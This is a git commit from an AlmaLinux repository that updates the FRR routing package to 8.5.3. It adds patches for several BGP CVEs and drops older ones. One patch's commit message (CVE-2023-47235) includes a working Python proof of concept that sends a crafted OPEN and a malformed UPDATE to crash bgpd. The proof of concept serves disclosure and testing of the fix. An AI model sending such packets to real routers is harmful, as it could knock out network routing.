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Import from AlmaLinux stable repository

This commit is contained in:
eabdullin 2024-05-15 07:20:13 +00:00
parent 1366051cd8
commit aea3116db6
17 changed files with 374 additions and 651 deletions
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2
.frr.metadata
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@ -1 +1 @@
467835eb73a6018948fd667663ce68282cf6d16b SOURCES/frr-8.3.1.tar.gz
5f46099a744058de374dbbf5240d1c4292a143f2 SOURCES/frr-8.5.3.tar.gz

2
.gitignore vendored
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@ -1 +1 @@
SOURCES/frr-8.3.1.tar.gz
SOURCES/frr-8.5.3.tar.gz

10
SOURCES/0000-remove-babeld-and-ldpd.patch
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@ -28,13 +28,13 @@ index 5be3264..33abc1d 100644
nhrpd/Makefile \
ospf6d/Makefile \
diff --git a/tools/etc/frr/daemons b/tools/etc/frr/daemons
index f6d512b..6d4831d 100644
index 8aa0887..c92dcca 100644
--- a/tools/etc/frr/daemons
+++ b/tools/etc/frr/daemons
@@ -21,10 +21,8 @@ ripd=no
ripngd=no
@@ -22,10 +22,8 @@ ripngd=no
isisd=no
pimd=no
pim6d=no
-ldpd=no
nhrpd=no
eigrpd=no
@ -42,10 +42,10 @@ index f6d512b..6d4831d 100644
sharpd=no
pbrd=no
bfdd=no
@@ -45,10 +43,8 @@ ripd_options=" -A 127.0.0.1"
ripngd_options=" -A ::1"
@@ -48,10 +46,8 @@ ripngd_options=" -A ::1"
isisd_options=" -A 127.0.0.1"
pimd_options=" -A 127.0.0.1"
pim6d_options=" -A ::1"
-ldpd_options=" -A 127.0.0.1"
nhrpd_options=" -A 127.0.0.1"
eigrpd_options=" -A 127.0.0.1"

2
SOURCES/0004-fips-mode.patch
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@ -111,5 +111,5 @@ index 53ae5b4..930307f 100644
#include <openssl/hmac.h>
+#include <openssl/fips.h>
#endif
#include "openbsd-tree.h"

110
SOURCES/0005-CVE-2023-47235.patch Normal file
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@ -0,0 +1,110 @@
From 71422bfe269e34b69d78f9fb02f30426f2fdef48 Mon Sep 17 00:00:00 2001
From: rpm-build <rpm-build>
Date: Wed, 13 Dec 2023 16:59:46 +0100
Subject: [PATCH] bgpd: Treat EOR as withdrawn to avoid unwanted handling of
malformed attrs
Treat-as-withdraw, otherwise if we just ignore it, we will pass it to be
processed as a normal UPDATE without mandatory attributes, that could lead
to harmful behavior. In this case, a crash for route-maps with the configuration
such as:
```
router bgp 65001
no bgp ebgp-requires-policy
neighbor 127.0.0.1 remote-as external
neighbor 127.0.0.1 passive
neighbor 127.0.0.1 ebgp-multihop
neighbor 127.0.0.1 disable-connected-check
neighbor 127.0.0.1 update-source 127.0.0.2
neighbor 127.0.0.1 timers 3 90
neighbor 127.0.0.1 timers connect 1
!
address-family ipv4 unicast
neighbor 127.0.0.1 addpath-tx-all-paths
neighbor 127.0.0.1 default-originate
neighbor 127.0.0.1 route-map RM_IN in
exit-address-family
exit
!
route-map RM_IN permit 10
set as-path prepend 200
exit
```
Send a malformed optional transitive attribute:
```
import socket
import time
OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02"
b"\x06\x01\x04\x00\x01\x00\x01\x02\x02\x02\x00\x02\x02\x46\x00\x02"
b"\x06\x41\x04\x00\x00\xfd\xea\x02\x02\x06\x00\x02\x06\x45\x04\x00"
b"\x01\x01\x03\x02\x0e\x49\x0c\x0a\x64\x6f\x6e\x61\x74\x61\x73\x2d"
b"\x70\x63\x00\x02\x04\x40\x02\x00\x78\x02\x09\x47\x07\x00\x01\x01"
b"\x80\x00\x00\x00")
KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\xff\xff\xff\xff\x00\x13\x04")
UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff002b0200000003c0ff00010100eb00ac100b0b001ad908ac100b0b")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.2', 179))
s.send(OPEN)
data = s.recv(1024)
s.send(KEEPALIVE)
data = s.recv(1024)
s.send(UPDATE)
data = s.recv(1024)
time.sleep(100)
s.close()
```
Reported-by: Iggy Frankovic <iggyfran@amazon.com>
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
(cherry picked from commit 6814f2e0138a6ea5e1f83bdd9085d9a77999900b)
---
bgpd/bgp_attr.c | 15 ++++++++++++---
1 file changed, 12 insertions(+), 3 deletions(-)
diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c
index a121911..12a6953 100644
--- a/bgpd/bgp_attr.c
+++ b/bgpd/bgp_attr.c
@@ -3079,9 +3079,12 @@ static int bgp_attr_check(struct peer *peer, struct attr *attr)
uint8_t type = 0;
/* BGP Graceful-Restart End-of-RIB for IPv4 unicast is signaled as an
- * empty UPDATE. */
+ * empty UPDATE. Treat-as-withdraw, otherwise if we just ignore it,
+ * we will pass it to be processed as a normal UPDATE without mandatory
+ * attributes, that could lead to harmful behavior.
+ */
if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag)
- return BGP_ATTR_PARSE_PROCEED;
+ return BGP_ATTR_PARSE_WITHDRAW;
/* "An UPDATE message that contains the MP_UNREACH_NLRI is not required
to carry any other path attributes.", though if MP_REACH_NLRI or NLRI
@@ -3507,7 +3510,13 @@ done:
aspath_unintern(&as4_path);
transit = bgp_attr_get_transit(attr);
- if (ret != BGP_ATTR_PARSE_ERROR) {
+ /* If we received an UPDATE with mandatory attributes, then
+ * the unrecognized transitive optional attribute of that
+ * path MUST be passed. Otherwise, it's an error, and from
+ * security perspective it might be very harmful if we continue
+ * here with the unrecognized attributes.
+ */
+ if (ret == BGP_ATTR_PARSE_PROCEED) {
/* Finally intern unknown attribute. */
if (transit)
bgp_attr_set_transit(attr, transit_intern(transit));
--
2.43.0

25
SOURCES/0005-ospf-api.patch
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@ -1,25 +0,0 @@
diff --git a/ospfd/ospf_spf.c b/ospfd/ospf_spf.c
index 74a5674..aec9037 100644
--- a/ospfd/ospf_spf.c
+++ b/ospfd/ospf_spf.c
@@ -48,7 +48,10 @@
#include "ospfd/ospf_sr.h"
#include "ospfd/ospf_ti_lfa.h"
#include "ospfd/ospf_errors.h"
+
+#ifdef SUPPORT_OSPF_API
#include "ospfd/ospf_apiserver.h"
+#endif
/* Variables to ensure a SPF scheduled log message is printed only once */
@@ -1897,7 +1900,9 @@ static void ospf_spf_calculate_schedule_worker(struct thread *thread)
/* Update all routers routing table */
ospf->oall_rtrs = ospf->all_rtrs;
ospf->all_rtrs = all_rtrs;
+#ifdef SUPPORT_OSPF_API
ospf_apiserver_notify_reachable(ospf->oall_rtrs, ospf->all_rtrs);
+#endif
/* Free old ABR/ASBR routing table */
if (ospf->old_rtrs)

95
SOURCES/0006-CVE-2023-47234.patch Normal file
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@ -0,0 +1,95 @@
From 7fe95b24333cceb6cd04595694cd502fcd3666f6 Mon Sep 17 00:00:00 2001
From: rpm-build <rpm-build>
Date: Wed, 13 Dec 2023 18:25:48 +0100
Subject: [PATCH] bgpd: Ignore handling NLRIs if we received MP_UNREACH_NLRI
If we receive MP_UNREACH_NLRI, we should stop handling remaining NLRIs if
no mandatory path attributes received.
In other words, if MP_UNREACH_NLRI received, the remaining NLRIs should be handled
as a new data, but without mandatory attributes, it's a malformed packet.
In normal case, this MUST not happen at all, but to avoid crashing bgpd, we MUST
handle that.
Reported-by: Iggy Frankovic <iggyfran@amazon.com>
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
Signed-off-by: Christian Breunig <christian@breunig.cc>
(cherry picked from commit c37119df45bbf4ef713bc10475af2ee06e12f3bf)
---
bgpd/bgp_attr.c | 19 ++++++++++---------
bgpd/bgp_attr.h | 1 +
bgpd/bgp_packet.c | 7 ++++++-
3 files changed, 17 insertions(+), 10 deletions(-)
diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c
index 12a6953..8b02f2c 100644
--- a/bgpd/bgp_attr.c
+++ b/bgpd/bgp_attr.c
@@ -3086,15 +3086,6 @@ static int bgp_attr_check(struct peer *peer, struct attr *attr)
if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag)
return BGP_ATTR_PARSE_WITHDRAW;
- /* "An UPDATE message that contains the MP_UNREACH_NLRI is not required
- to carry any other path attributes.", though if MP_REACH_NLRI or NLRI
- are present, it should. Check for any other attribute being present
- instead.
- */
- if ((!CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_MP_REACH_NLRI)) &&
- CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_MP_UNREACH_NLRI))))
- return BGP_ATTR_PARSE_PROCEED;
-
if (!CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_ORIGIN)))
type = BGP_ATTR_ORIGIN;
@@ -3113,6 +3104,16 @@ static int bgp_attr_check(struct peer *peer, struct attr *attr)
&& !CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_LOCAL_PREF)))
type = BGP_ATTR_LOCAL_PREF;
+ /* An UPDATE message that contains the MP_UNREACH_NLRI is not required
+ * to carry any other path attributes. Though if MP_REACH_NLRI or NLRI
+ * are present, it should. Check for any other attribute being present
+ * instead.
+ */
+ if (!CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_MP_REACH_NLRI)) &&
+ CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_MP_UNREACH_NLRI)))
+ return type ? BGP_ATTR_PARSE_MISSING_MANDATORY
+ : BGP_ATTR_PARSE_PROCEED;
+
/* If any of the well-known mandatory attributes are not present
* in an UPDATE message, then "treat-as-withdraw" MUST be used.
*/
diff --git a/bgpd/bgp_attr.h b/bgpd/bgp_attr.h
index 06f350b..b9dfec9 100644
--- a/bgpd/bgp_attr.h
+++ b/bgpd/bgp_attr.h
@@ -379,6 +379,7 @@ enum bgp_attr_parse_ret {
*/
BGP_ATTR_PARSE_ERROR_NOTIFYPLS = -3,
BGP_ATTR_PARSE_EOR = -4,
+ BGP_ATTR_PARSE_MISSING_MANDATORY = -5,
};
struct bpacket_attr_vec_arr;
diff --git a/bgpd/bgp_packet.c b/bgpd/bgp_packet.c
index a5f065a..cdf0734 100644
--- a/bgpd/bgp_packet.c
+++ b/bgpd/bgp_packet.c
@@ -1873,7 +1873,12 @@ static int bgp_update_receive(struct peer *peer, bgp_size_t size)
/* Network Layer Reachability Information. */
update_len = end - stream_pnt(s);
- if (update_len && attribute_len) {
+ /* If we received MP_UNREACH_NLRI attribute, but also NLRIs, then
+ * NLRIs should be handled as a new data. Though, if we received
+ * NLRIs without mandatory attributes, they should be ignored.
+ */
+ if (update_len && attribute_len &&
+ attr_parse_ret != BGP_ATTR_PARSE_MISSING_MANDATORY) {
/* Set NLRI portion to structure. */
nlris[NLRI_UPDATE].afi = AFI_IP;
nlris[NLRI_UPDATE].safi = SAFI_UNICAST;
--
2.43.0

78
SOURCES/0006-graceful-restart.patch
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@ -1,78 +0,0 @@
From 12f9f8472d0f8cfc026352906b8e5342df2846cc Mon Sep 17 00:00:00 2001
From: Donatas Abraitis <donatas@opensourcerouting.org>
Date: Tue, 27 Sep 2022 17:30:16 +0300
Subject: [PATCH] bgpd: Do not send Deconfig/Shutdown message when restarting
We might disable sending unconfig/shutdown notifications when
Graceful-Restart is enabled and negotiated.
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
---
bgpd/bgpd.c | 35 ++++++++++++++++++++++++++---------
1 file changed, 26 insertions(+), 9 deletions(-)
diff --git a/bgpd/bgpd.c b/bgpd/bgpd.c
index 749e46ebe9d..ae1308db423 100644
--- a/bgpd/bgpd.c
+++ b/bgpd/bgpd.c
@@ -2755,11 +2755,34 @@ int peer_group_remote_as(struct bgp *bgp, const char *group_name, as_t *as,
void peer_notify_unconfig(struct peer *peer)
{
+ if (BGP_PEER_GRACEFUL_RESTART_CAPABLE(peer)) {
+ if (bgp_debug_neighbor_events(peer))
+ zlog_debug(
+ "%pBP configured Graceful-Restart, skipping unconfig notification",
+ peer);
+ return;
+ }
+
if (BGP_IS_VALID_STATE_FOR_NOTIF(peer->status))
bgp_notify_send(peer, BGP_NOTIFY_CEASE,
BGP_NOTIFY_CEASE_PEER_UNCONFIG);
}
+static void peer_notify_shutdown(struct peer *peer)
+{
+ if (BGP_PEER_GRACEFUL_RESTART_CAPABLE(peer)) {
+ if (bgp_debug_neighbor_events(peer))
+ zlog_debug(
+ "%pBP configured Graceful-Restart, skipping shutdown notification",
+ peer);
+ return;
+ }
+
+ if (BGP_IS_VALID_STATE_FOR_NOTIF(peer->status))
+ bgp_notify_send(peer, BGP_NOTIFY_CEASE,
+ BGP_NOTIFY_CEASE_ADMIN_SHUTDOWN);
+}
+
void peer_group_notify_unconfig(struct peer_group *group)
{
struct peer *peer, *other;
@@ -3676,11 +3699,8 @@ int bgp_delete(struct bgp *bgp)
}
/* Inform peers we're going down. */
- for (ALL_LIST_ELEMENTS(bgp->peer, node, next, peer)) {
- if (BGP_IS_VALID_STATE_FOR_NOTIF(peer->status))
- bgp_notify_send(peer, BGP_NOTIFY_CEASE,
- BGP_NOTIFY_CEASE_ADMIN_SHUTDOWN);
- }
+ for (ALL_LIST_ELEMENTS(bgp->peer, node, next, peer))
+ peer_notify_shutdown(peer);
/* Delete static routes (networks). */
bgp_static_delete(bgp);
@@ -8252,10 +8272,7 @@ void bgp_terminate(void)
for (ALL_LIST_ELEMENTS(bm->bgp, mnode, mnnode, bgp))
for (ALL_LIST_ELEMENTS(bgp->peer, node, nnode, peer))
- if (peer_established(peer) || peer->status == OpenSent
- || peer->status == OpenConfirm)
- bgp_notify_send(peer, BGP_NOTIFY_CEASE,
- BGP_NOTIFY_CEASE_PEER_UNCONFIG);
+ peer_notify_unconfig(peer);
BGP_TIMER_OFF(bm->t_rmap_update);

76
SOURCES/0007-CVE-2023-46752.patch Normal file
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@ -0,0 +1,76 @@
From b08afc81c60607a4f736f418f2e3eb06087f1a35 Mon Sep 17 00:00:00 2001
From: Donatas Abraitis <donatas@opensourcerouting.org>
Date: Fri, 20 Oct 2023 17:49:18 +0300
Subject: [PATCH] bgpd: Handle MP_REACH_NLRI malformed packets with session
reset
Avoid crashing bgpd.
Reported-by: Iggy Frankovic <iggyfran@amazon.com>
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
---
bgpd/bgp_attr.c | 6 +-----
bgpd/bgp_attr.h | 1 -
bgpd/bgp_packet.c | 6 +-----
3 files changed, 2 insertions(+), 11 deletions(-)
diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c
index 6925aff727e2..e7bb42a5d989 100644
--- a/bgpd/bgp_attr.c
+++ b/bgpd/bgp_attr.c
@@ -2421,7 +2421,7 @@ int bgp_mp_reach_parse(struct bgp_attr_parser_args *args,
mp_update->afi = afi;
mp_update->safi = safi;
- return BGP_ATTR_PARSE_EOR;
+ return bgp_attr_malformed(args, BGP_NOTIFY_UPDATE_MAL_ATTR, 0);
}
mp_update->afi = afi;
@@ -3759,10 +3759,6 @@ enum bgp_attr_parse_ret bgp_attr_parse(struct peer *peer, struct attr *attr,
goto done;
}
- if (ret == BGP_ATTR_PARSE_EOR) {
- goto done;
- }
-
if (ret == BGP_ATTR_PARSE_ERROR) {
flog_warn(EC_BGP_ATTRIBUTE_PARSE_ERROR,
"%s: Attribute %s, parse error", peer->host,
diff --git a/bgpd/bgp_attr.h b/bgpd/bgp_attr.h
index 961e5f122470..fc347e7a1b4b 100644
--- a/bgpd/bgp_attr.h
+++ b/bgpd/bgp_attr.h
@@ -364,7 +364,6 @@ enum bgp_attr_parse_ret {
/* only used internally, send notify + convert to BGP_ATTR_PARSE_ERROR
*/
BGP_ATTR_PARSE_ERROR_NOTIFYPLS = -3,
- BGP_ATTR_PARSE_EOR = -4,
BGP_ATTR_PARSE_MISSING_MANDATORY = -5,
};
diff --git a/bgpd/bgp_packet.c b/bgpd/bgp_packet.c
index b585591e2f69..5ecf343b6657 100644
--- a/bgpd/bgp_packet.c
+++ b/bgpd/bgp_packet.c
@@ -2397,8 +2397,7 @@ static int bgp_update_receive(struct peer_connection *connection,
* Non-MP IPv4/Unicast EoR is a completely empty UPDATE
* and MP EoR should have only an empty MP_UNREACH
*/
- if ((!update_len && !withdraw_len && nlris[NLRI_MP_UPDATE].length == 0)
- || (attr_parse_ret == BGP_ATTR_PARSE_EOR)) {
+ if (!update_len && !withdraw_len && nlris[NLRI_MP_UPDATE].length == 0) {
afi_t afi = 0;
safi_t safi;
struct graceful_restart_info *gr_info;
@@ -2419,9 +2418,6 @@ static int bgp_update_receive(struct peer_connection *connection,
&& nlris[NLRI_MP_WITHDRAW].length == 0) {
afi = nlris[NLRI_MP_WITHDRAW].afi;
safi = nlris[NLRI_MP_WITHDRAW].safi;
- } else if (attr_parse_ret == BGP_ATTR_PARSE_EOR) {
- afi = nlris[NLRI_MP_UPDATE].afi;
- safi = nlris[NLRI_MP_UPDATE].safi;
}
if (afi && peer->afc[afi][safi]) {

32
SOURCES/0007-cve-2022-37032.patch
View File

@ -1,32 +0,0 @@
From ff6db1027f8f36df657ff2e5ea167773752537ed Mon Sep 17 00:00:00 2001
From: Donald Sharp <sharpd@nvidia.com>
Date: Thu, 21 Jul 2022 08:11:58 -0400
Subject: [PATCH] bgpd: Make sure hdr length is at a minimum of what is
expected
Ensure that if the capability length specified is enough data.
Signed-off-by: Donald Sharp <sharpd@nvidia.com>
---
bgpd/bgp_packet.c | 8 ++++++++
1 file changed, 8 insertions(+)
diff --git a/bgpd/bgp_packet.c b/bgpd/bgp_packet.c
index dbf6c0b2e99..45752a8ab6d 100644
--- a/bgpd/bgp_packet.c
+++ b/bgpd/bgp_packet.c
@@ -2620,6 +2620,14 @@ static int bgp_capability_msg_parse(struct peer *peer, uint8_t *pnt,
"%s CAPABILITY has action: %d, code: %u, length %u",
peer->host, action, hdr->code, hdr->length);
+ if (hdr->length < sizeof(struct capability_mp_data)) {
+ zlog_info(
+ "%pBP Capability structure is not properly filled out, expected at least %zu bytes but header length specified is %d",
+ peer, sizeof(struct capability_mp_data),
+ hdr->length);
+ return BGP_Stop;
+ }
+
/* Capability length check. */
if ((pnt + hdr->length + 3) > end) {
zlog_info("%s Capability length error", peer->host);

60
SOURCES/0008-CVE-2023-46753.patch Normal file
View File

@ -0,0 +1,60 @@
From d8482bf011cb2b173e85b65b4bf3d5061250cdb9 Mon Sep 17 00:00:00 2001
From: Donatas Abraitis <donatas@opensourcerouting.org>
Date: Mon, 23 Oct 2023 23:34:10 +0300
Subject: [PATCH] bgpd: Check mandatory attributes more carefully for UPDATE
message
If we send a crafted BGP UPDATE message without mandatory attributes, we do
not check if the length of the path attributes is zero or not. We only check
if attr->flag is at least set or not. Imagine we send only unknown transit
attribute, then attr->flag is always 0. Also, this is true only if graceful-restart
capability is received.
Reported-by: Iggy Frankovic <iggyfran@amazon.com>
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
---
bgpd/bgp_attr.c | 10 ++++++----
1 file changed, 6 insertions(+), 4 deletions(-)
diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c
index 26fd3de..bcc4424 100644
--- a/bgpd/bgp_attr.c
+++ b/bgpd/bgp_attr.c
@@ -3400,7 +3400,8 @@ bgp_attr_unknown(struct bgp_attr_parser_args *args)
}
/* Well-known attribute check. */
-static int bgp_attr_check(struct peer *peer, struct attr *attr)
+static int bgp_attr_check(struct peer *peer, struct attr *attr,
+ bgp_size_t length)
{
uint8_t type = 0;
@@ -3409,7 +3410,8 @@ static int bgp_attr_check(struct peer *peer, struct attr *attr)
* we will pass it to be processed as a normal UPDATE without mandatory
* attributes, that could lead to harmful behavior.
*/
- if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag)
+ if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag &&
+ !length)
return BGP_ATTR_PARSE_WITHDRAW;
if (!CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_ORIGIN)))
@@ -3462,7 +3464,7 @@ enum bgp_attr_parse_ret bgp_attr_parse(struct peer *peer, struct attr *attr,
enum bgp_attr_parse_ret ret;
uint8_t flag = 0;
uint8_t type = 0;
- bgp_size_t length;
+ bgp_size_t length = 0;
uint8_t *startp, *endp;
uint8_t *attr_endp;
uint8_t seen[BGP_ATTR_BITMAP_SIZE];
@@ -3785,7 +3787,7 @@ enum bgp_attr_parse_ret bgp_attr_parse(struct peer *peer, struct attr *attr,
}
/* Check all mandatory well-known attributes are present */
- ret = bgp_attr_check(peer, attr);
+ ret = bgp_attr_check(peer, attr, length);
if (ret < 0)
goto done;

67
SOURCES/0008-frr-non-root-user.patch
View File

@ -1,67 +0,0 @@
From 1d42fb941af17a29346b2af03338f8e18470f009 Mon Sep 17 00:00:00 2001
From: Michal Ruprich <michalruprich@gmail.com>
Date: Tue, 22 Nov 2022 12:38:05 +0100
Subject: [PATCH] tools: Enable start of FRR for non-root user
There might be use cases when this would make sense, for example
running FRR in a container as a designated user.
Signed-off-by: Michal Ruprich <mruprich@redhat.com>
---
tools/etc/frr/daemons | 5 +++++
tools/frrcommon.sh.in | 4 ++++
2 files changed, 9 insertions(+)
diff --git a/tools/etc/frr/daemons b/tools/etc/frr/daemons
index 8aa08871e35..2427bfff777 100644
--- a/tools/etc/frr/daemons
+++ b/tools/etc/frr/daemons
@@ -91,6 +91,12 @@ pathd_options=" -A 127.0.0.1"
# say BGP.
#MAX_FDS=1024
+# Uncomment this option if you want to run FRR as a non-root user. Note that
+# you should know what you are doing since most of the daemons need root
+# to work. This could be useful if you want to run FRR in a container
+# for instance.
+# FRR_NO_ROOT="yes"
+
# The list of daemons to watch is automatically generated by the init script.
#watchfrr_options=""
diff --git a/tools/frrcommon.sh.in b/tools/frrcommon.sh.in
index 3c16c27c6df..4f095a176e4 100755
--- a/tools/frrcommon.sh.in
+++ b/tools/frrcommon.sh.in
@@ -43,6 +43,10 @@ RELOAD_SCRIPT="$D_PATH/frr-reload.py"
#
is_user_root () {
+ if [[ ! -z $FRR_NO_ROOT && "${FRR_NO_ROOT}" == "yes" ]]; then
+ return 0
+ fi
+
[ "${EUID:-$(id -u)}" -eq 0 ] || {
log_failure_msg "Only users having EUID=0 can start/stop daemons"
return 1
diff --git a/doc/user/setup.rst b/doc/user/setup.rst
index 25934df..51ffd32 100644
--- a/doc/user/setup.rst
+++ b/doc/user/setup.rst
@@ -114,6 +114,16 @@ most operating systems is 1024. If the operator plans to run bgp with
several thousands of peers than this is where we would modify FRR to
allow this to happen.
+::
+
+ FRR_NO_ROOT="yes"
+
+This option allows you to run FRR as a non-root user. Use this option
+only when you know what you are doing since most of the daemons
+in FRR will not be able to run under a regular user. This option
+is useful for example when you run FRR in a container with a designated
+user instead of root.
+
::
zebra_options=" -s 90000000 --daemon -A 127.0.0.1"

59
SOURCES/0009-CVE-2022-36440-40302.patch
View File

@ -1,59 +0,0 @@
From 3e46b43e3788f0f87bae56a86b54d412b4710286 Mon Sep 17 00:00:00 2001
From: Donald Sharp <sharpd@nvidia.com>
Date: Fri, 30 Sep 2022 08:51:45 -0400
Subject: [PATCH] bgpd: Ensure FRR has enough data to read 2 bytes in
peek_for_as4_capability
In peek_for_as4_capability the code is checking that the
stream has at least 2 bytes to read ( the opt_type and the
opt_length ). However if BGP_OPEN_EXT_OPT_PARAMS_CAPABLE(peer)
is configured then FRR is reading 3 bytes. Which is not good
since the packet could be badly formated. Ensure that
FRR has the appropriate data length to read the data.
Signed-off-by: Donald Sharp <sharpd@nvidia.com>
---
bgpd/bgp_open.c | 27 +++++++++++++++++++++------
1 file changed, 21 insertions(+), 6 deletions(-)
diff --git a/bgpd/bgp_open.c b/bgpd/bgp_open.c
index 7248f034a5a..a760a7ca013 100644
--- a/bgpd/bgp_open.c
+++ b/bgpd/bgp_open.c
@@ -1185,15 +1185,30 @@ as_t peek_for_as4_capability(struct peer *peer, uint16_t length)
uint8_t opt_type;
uint16_t opt_length;
- /* Check the length. */
- if (stream_get_getp(s) + 2 > end)
+ /* Ensure we can read the option type */
+ if (stream_get_getp(s) + 1 > end)
goto end;
- /* Fetch option type and length. */
+ /* Fetch the option type */
opt_type = stream_getc(s);
- opt_length = BGP_OPEN_EXT_OPT_PARAMS_CAPABLE(peer)
- ? stream_getw(s)
- : stream_getc(s);
+
+ /*
+ * Check the length and fetch the opt_length
+ * If the peer is BGP_OPEN_EXT_OPT_PARAMS_CAPABLE(peer)
+ * then we do a getw which is 2 bytes. So we need to
+ * ensure that we can read that as well
+ */
+ if (BGP_OPEN_EXT_OPT_PARAMS_CAPABLE(peer)) {
+ if (stream_get_getp(s) + 2 > end)
+ goto end;
+
+ opt_length = stream_getw(s);
+ } else {
+ if (stream_get_getp(s) + 1 > end)
+ goto end;
+
+ opt_length = stream_getc(s);
+ }
/* Option length check. */
if (stream_get_getp(s) + opt_length > end)

47
SOURCES/0010-CVE-2022-43681.patch
View File

@ -1,47 +0,0 @@
From 766eec1b7accffe2c04a5c9ebb14e9f487bb9f78 Mon Sep 17 00:00:00 2001
From: Donald Sharp <sharpd@nvidia.com>
Date: Wed, 2 Nov 2022 13:24:48 -0400
Subject: [PATCH] bgpd: Ensure that bgp open message stream has enough data to
read
If a operator receives an invalid packet that is of insufficient size
then it is possible for BGP to assert during reading of the packet
instead of gracefully resetting the connection with the peer.
Signed-off-by: Donald Sharp <sharpd@nvidia.com>
---
bgpd/bgp_packet.c | 19 +++++++++++++++++++
1 file changed, 19 insertions(+)
diff --git a/bgpd/bgp_packet.c b/bgpd/bgp_packet.c
index 769f9613da8..72d6a923175 100644
--- a/bgpd/bgp_packet.c
+++ b/bgpd/bgp_packet.c
@@ -1386,8 +1386,27 @@ static int bgp_open_receive(struct peer *peer, bgp_size_t size)
|| CHECK_FLAG(peer->flags, PEER_FLAG_EXTENDED_OPT_PARAMS)) {
uint8_t opttype;
+ if (STREAM_READABLE(peer->curr) < 1) {
+ flog_err(
+ EC_BGP_PKT_OPEN,
+ "%s: stream does not have enough bytes for extended optional parameters",
+ peer->host);
+ bgp_notify_send(peer, BGP_NOTIFY_OPEN_ERR,
+ BGP_NOTIFY_OPEN_MALFORMED_ATTR);
+ return BGP_Stop;
+ }
+
opttype = stream_getc(peer->curr);
if (opttype == BGP_OPEN_NON_EXT_OPT_TYPE_EXTENDED_LENGTH) {
+ if (STREAM_READABLE(peer->curr) < 2) {
+ flog_err(
+ EC_BGP_PKT_OPEN,
+ "%s: stream does not have enough bytes to read the extended optional parameters optlen",
+ peer->host);
+ bgp_notify_send(peer, BGP_NOTIFY_OPEN_ERR,
+ BGP_NOTIFY_OPEN_MALFORMED_ATTR);
+ return BGP_Stop;
+ }
optlen = stream_getw(peer->curr);
SET_FLAG(peer->sflags,
PEER_STATUS_EXT_OPT_PARAMS_LENGTH);

70
SOURCES/0011-CVE-2022-40318.patch
View File

@ -1,70 +0,0 @@
From 1117baca3c592877a4d8a13ed6a1d9bd83977487 Mon Sep 17 00:00:00 2001
From: Donald Sharp <sharpd@nvidia.com>
Date: Fri, 30 Sep 2022 08:57:43 -0400
Subject: [PATCH] bgpd: Ensure FRR has enough data to read 2 bytes in
bgp_open_option_parse
In bgp_open_option_parse the code is checking that the
stream has at least 2 bytes to read ( the opt_type and
the opt_length). However if BGP_OPEN_EXT_OPT_PARAMS_CAPABLE(peer)
is configured then FRR is reading 3 bytes. Which is not good
since the packet could be badly formateed. Ensure that
FRR has the appropriate data length to read the data.
Signed-off-by: Donald Sharp <sharpd@nvidia.com>
---
bgpd/bgp_open.c | 35 ++++++++++++++++++++++++++++-------
1 file changed, 28 insertions(+), 7 deletions(-)
diff --git a/bgpd/bgp_open.c b/bgpd/bgp_open.c
index a760a7ca013..d1667fac261 100644
--- a/bgpd/bgp_open.c
+++ b/bgpd/bgp_open.c
@@ -1278,19 +1278,40 @@ int bgp_open_option_parse(struct peer *peer, uint16_t length,
uint8_t opt_type;
uint16_t opt_length;
- /* Must have at least an OPEN option header */
- if (STREAM_READABLE(s) < 2) {
+ /*
+ * Check that we can read the opt_type and fetch it
+ */
+ if (STREAM_READABLE(s) < 1) {
zlog_info("%s Option length error", peer->host);
bgp_notify_send(peer, BGP_NOTIFY_OPEN_ERR,
BGP_NOTIFY_OPEN_MALFORMED_ATTR);
return -1;
}
-
- /* Fetch option type and length. */
opt_type = stream_getc(s);
- opt_length = BGP_OPEN_EXT_OPT_PARAMS_CAPABLE(peer)
- ? stream_getw(s)
- : stream_getc(s);
+
+ /*
+ * Check the length of the stream to ensure that
+ * FRR can properly read the opt_length. Then read it
+ */
+ if (BGP_OPEN_EXT_OPT_PARAMS_CAPABLE(peer)) {
+ if (STREAM_READABLE(s) < 2) {
+ zlog_info("%s Option length error", peer->host);
+ bgp_notify_send(peer, BGP_NOTIFY_OPEN_ERR,
+ BGP_NOTIFY_OPEN_MALFORMED_ATTR);
+ return -1;
+ }
+
+ opt_length = stream_getw(s);
+ } else {
+ if (STREAM_READABLE(s) < 1) {
+ zlog_info("%s Option length error", peer->host);
+ bgp_notify_send(peer, BGP_NOTIFY_OPEN_ERR,
+ BGP_NOTIFY_OPEN_MALFORMED_ATTR);
+ return -1;
+ }
+
+ opt_length = stream_getc(s);
+ }
/* Option length check. */
if (STREAM_READABLE(s) < opt_length) {

255
SOURCES/0012-bfd-not-working-in-vrf.patch
View File

@ -1,255 +0,0 @@
From edc3f63167fd95e4e70287743c9b252415c9336e Mon Sep 17 00:00:00 2001
From: Philippe Guibert <philippe.guibert@6wind.com>
Date: Thu, 7 Jul 2022 14:33:48 +0200
